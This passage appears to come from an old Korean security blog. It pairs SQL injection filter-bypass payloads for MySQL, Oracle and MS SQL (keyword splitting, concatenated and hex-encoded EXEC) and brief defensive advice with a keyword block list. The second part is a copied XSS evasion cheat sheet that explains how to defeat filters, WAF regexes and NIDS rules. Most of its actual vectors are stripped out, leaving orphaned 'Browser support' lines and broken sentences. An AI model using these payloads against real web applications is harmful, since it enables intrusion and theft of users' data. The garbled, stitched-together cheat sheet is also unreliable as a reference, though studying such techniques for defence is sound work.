My SQL

UNI/**/ON SEL/**/ECT

Oracle

'; EXECUTE IMMEDIATE  'SEL' || 'ECT US' || 'ER'

MS SQL

'; EXEC ('SEL' + 'ECT US' + 'ER')

 

 

 

 

 

 

 

 


 

vi. 변수를 이용하여 IDS, 입력 값 검증 우회 하기

▪ 변수를 이용

; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER');

EXEC (@x)

EXEC SP_EXECUTESQL @x

▪ 헥사를 이용

; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e; EXEC (@x)

위의 명령어는 (‘)를 사용하지 않았다.

 

 

 

 

 

 

 

 

 

 

 

 


 

4 SQL Injection 대응 방안

4.1 개요

간단한 방법으로 입력 값 검증은 가장 중요한 부분 중에 하나 이다. 당신은 반드시 입력 값 검증을 모든 새로운 애플리케이션에 실시해야 한다. 그리고 당신은 존재하는 코드와 웹사이트를 조사해 봐야 한다. 추가적으로 서버를 견고하게 운영해야 한다. 데이터 베이스의 데이터 접근을 저장된 프로시저를 통하여 접근하고, 저장된 프로시저를 사용할 때 매개변수화 된 API를 이용하라. 모든 입력 값 검증은 일반적인 루틴을 이용하고, 최소한의 권한을 DB 사용자 에게 적용하라.

1) 입력 값 검증

각 필드를 위한 데이터 타입의 정의 되고, 정의된 타입만 허용 되어야 한다. 그리고 입력된 값의 검증을 위해서 필터를 사용해야 한다. 알려진 Injection 문자열에 대한 필터는 철저히 구현 되여야 한다. 아래와 같은 문자열은 반드시 제거 되어야 한다.

) “"select", "insert", "update", "shutdown", "delete", "drop", "--", "'"

2) 서버를 견고하게 운영하기

1. DB 최소권한의 유저로 운영하라.

2. 사용하지 않는 저장된 프로시저와 기능들은 제거하거나 관리자에게 제한된 접근 권한을 주어라.

3. 퍼미션을 변경하고, 공개된 시스템 객체에 접근을 제거 하라.

4. 모든 사용자 계정의 패스워드를 강화 시켜라

5. 미리 승인된 서버의 링크를 제거 하라.

6. 사용하지 않는 네트워크 프로토콜을 제거하라.

7. 신뢰할 수 있는 네트워크,웹 서버, 백업 서버만 접근을 허용하라.

 

4.2 탐지 및 제한시키기

SQL Injection 시도에 대한 탐지 원한다면, SQL Injection 시도를 로그에 남기고, 이 메일로 경고장을 보내고, IP차단 하고, 올바르지 않은 에러 메시지를 보내도록 설정하라. 이것들은 검증 스크립트에 코드와 되어야 한다.

 

4.3 결론

    SQL Injection 은 매혹적이고, 아주 위험한 취약점이다. 모든 프로그램 언어 그리고 SQL DB는 잠재적인 취약점을 가지고 있다. 보호 하기 위해서는 강력한 디자인, 정확한 입력 값 검증, 견고하게 서버를 운영 해야 한다.

 

참조자료 및 문서

[1] Advanced SQL Injection, (http://www.owasp.org).

출처 osiris kisec 14th

2009/08/26 17:42 2009/08/26 17:42

다양한 XSS 방법들을 소개합니다

일반적으로 document.cookie 같은경우 대부분의 사이트에서 필터링 됩니다

이 사이트 역시 앞에 "no_"가 붙습니다

그럼 와 같은 형태는 어떻게 될까요?

아마 필터링 하기 어렵겠지요 아래예들은 이와같이 여러가지 자바스크립트들을 실행하기 위한 예들을 보여줍니다


XSS (Cross Site Scripting):

    XSS locator. Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use the URL encoding calculator below to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XSS locator 2. If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &lt;XSS to see if it is vulnerable:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well - I'll probably revise this at a later date):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    No quotes and no semicolon:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Case insensitive XSS attack vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    HTML entities (the semicolons are required for this to work):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Malformed IMG tags. Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    fromCharCode (if no quotes of any kind are allowed you can >
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS calculator for more information:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS calculator for more information:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embedded tab to break up the cross site scripting attack:
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embeded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector) these are not spaces just one of the three characters as described above:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Null breaks up JavaScript directive. Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Null breaks up cross site scripting vector. Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "">
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Non-alpha-non-digit part 2 XSS. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Extraneous open brackets. Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    No closing script tags. In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Protocol resolution in script tags. This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Half open HTML/JavaScript XSS vector. Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Double open angle brackets. This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XSS with no single quotes or double quotes or semicolons:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    End title tag. This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    INPUT image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BODY image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BODY tag (I like this method because it doesn't require using any variants of "")>
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Event Handlers that can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to Rene Ledosquet for the HTML+TIME updates:



    IMG Dynsrc:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG lowsrc:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BGSOUND:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    & JavaScript includes (works in Netscape 4.x):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    LAYER (also only works in Netscape 4.x)

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    STYLE sheet:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:

    Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet part 3. This only works in Opera but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Local htc file. This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    List-style-image. Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    in an image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Mocha (older versions of Netscape only):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    (older versions of Netscape only):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    US-ASCII encoding (found by Kurt Huwig). This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    META (the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    META using data: directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or here to encode your own. You can also use the XSS calculator below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    META with additional URL parameter. If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IFRAME (if iframes are allowed there are a lot of other XSS problems as well):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    FRAME (frames have the same sorts of XSS problems as iframes):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    TABLE (who would have thought tables were XSS targets... except me, of course):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    TD (just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV background-image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    DIV expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov for this one):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Anonymous HTML with STYLE attribute (IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG STYLE with expression (this is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE tag (Older versions of Netscape only):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    STYLE tag using background-image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    STYLE tag using background:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BASE tag. Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    OBJECT tag (if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Using an OBJECT tag you can embed XSS directly (this is unverified so no browser support is added):



    Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    inside flash can obfuscate your XSS vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XML namespace. The htc file must be located on the same server as your XSS vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XML data island with comment obfuscation (this is another take on the same exploit that doesn't use CDATA fields, but rather uses comments to break up the javascript directive):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    HTML+TIME in XML. This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG Embedded commands - this works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Cookie manipulation - admittidly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]




XSS using HTML quote encapsulation:

    This was tested in IE, your mileage may vary. For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter "/<script[^>]+src/i":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Yet another XSS to evade the same filter, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i". I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    And one last XSS attack to evade, "/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]




URL string evasion (assuming "http://www.google.com/" is programmatically disallowed):

    IP verses hostname:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    URL encoding:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Dword encoding (Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Hex encoding (the total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Octal encoding (again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Mixed encoding (let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Google "feeling lucky" part 1. Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance.
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Google "feeling lucky" part 2. This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Google "feeling lucky" part 3. This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):

